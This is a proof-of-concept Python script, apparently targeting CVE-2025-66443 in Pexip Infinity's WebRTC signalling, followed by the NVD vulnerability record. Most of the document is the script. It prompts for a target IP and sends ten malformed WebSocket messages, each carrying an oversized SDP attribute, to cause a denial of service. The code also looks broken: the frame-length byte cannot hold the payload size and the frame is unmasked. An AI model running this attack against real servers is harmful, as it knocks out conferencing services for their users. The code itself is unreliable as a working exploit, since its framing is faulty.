CVE-2025-66443

# CVE-2025-66443 PoC - Pexip Infinity DoS via Malformed Signaling # Affected: Pexip Infinity 35.0-38.1 (Direct Media for WebRTC) import socket import struct import random def create_malformed_sdp(): """Generate malformed SDP to trigger input validation error""" sdp = "v=0\r\n" sdp += "o=- {} {} IN IP4 127.0.0.1\r\n".format(random.randint(1, 999999), random.randint(1, 999999)) sdp += "s=Malformed Session\r\n" sdp += "c=IN IP4 0.0.0.0\r\n" # Malformed attribute causing validation failure sdp += "a=control:{}:\r\n".format("A" * 10000) sdp += "t=0 0\r\n" return sdp def send_malformed_signaling(target_ip, target_port=443): """Send malformed signaling message to Pexip Infinity""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) # WebSocket handshake ws_key = "SmFWS2V5" + str(random.randint(100000, 999999)) request = f"GET / HTTP/1.1\r\n" request += f"Host: {target_ip}:{target_port}\r\n" request += "Upgrade: websocket\r\n" request += f"Sec-WebSocket-Key: {ws_key}\r\n" request += "Connection: Upgrade\r\n" request += "\r\n" sock.send(request.encode()) # Send malformed signaling frame payload = create_malformed_sdp() frame = b'\x81' + bytes([len(payload)]) sock.send(frame + payload.encode('utf-8')) sock.close() return True except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target = input("Enter target IP: ") print(f"Sending malformed signaling to {target}...") for i in range(10): send_malformed_signaling(target) print(f"Packet {i+1} sent")

{"cve": {"id": "CVE-2025-66443", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:09.803", "lastModified": "2026-01-05T18:43:13.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 35.0 through 38.1 before 39.0, in non-default configurations that use Direct Media for WebRTC, has Improper Input Validation in signalling that allows an attacker to trigger a software abort, resulting in a temporary denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "35.0", "versionEndExcluding": "39.0", "matchCriteriaId": "D923C0AB-825B-4876-8C54-F6D9247964E1"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}